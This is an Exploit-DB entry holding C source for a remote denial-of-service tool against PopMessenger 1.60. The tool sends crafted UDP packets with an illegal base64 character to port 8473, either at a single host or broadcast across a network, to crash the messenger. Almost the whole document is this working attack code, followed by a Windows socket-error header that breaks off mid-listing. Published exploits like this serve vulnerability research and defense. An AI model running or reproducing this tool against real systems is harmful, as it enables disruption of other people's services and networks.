Exploit-DB #477
Description: PopMessenger 1.60 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-09-23
Author: Luigi Auriemma

Exploit:
///////////////////////// popmsgboom.c
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define PORT    8473
#define BCAST   "255.255.255.255"
#define MAX     30      // we need less then 20 packets



u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int         sd,
                i,
                on = 1;
    u_long      randnum;
    u_short     port = PORT;
    u_char      pck[] =
                "Z........\0"
                "C@main\1"
                "@chnlMAIN\1"
                "@chnlMAIN\1"
                "\1\1\1\1\1"
                "crasher\1"
                "cmdAddString\1"
                "%\1";  // the crash happens when the program receives
                        // multiple packets containing an incorrect base64
                        // char in the message field (in fact % is illegal)


    setbuf(stdout, NULL);

    fputs("\n"
        "PopMessenger <= 1.60 (20 Sep 2004) remote crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n"
            "Note: you can also launch this tool versus broadcast IP (like "BCAST")\n"
            "\n", argv[0], PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port    = atoi(argv[2]);
    if(!memcmp(argv[1], BCAST, sizeof(BCAST) - 1)) {
        peer.sin_addr.s_addr = 0xffffffffL;
    } else {
        peer.sin_addr.s_addr = resolv(argv[1]);
    }
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target %s:%hu\n",
        inet_ntoa(peer.sin_addr),
        port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    /* broadcast */
    if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on))
     < 0) std_err();

    randnum = time(NULL);

    printf("- send %d messages with an illegal base64 char to cause the crash\n", MAX);
    for(i = 0; i < MAX; i++) {
        sprintf(pck + 1, "%08lx", randnum * i);  // must be ever different
        if(sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        fputc('.', stdout);
        sleep(0);
    }

    close(sd);
    fputs("\n- data sent, the application should be crashed\n\n", stdout);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


/////////// winerr.h

/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case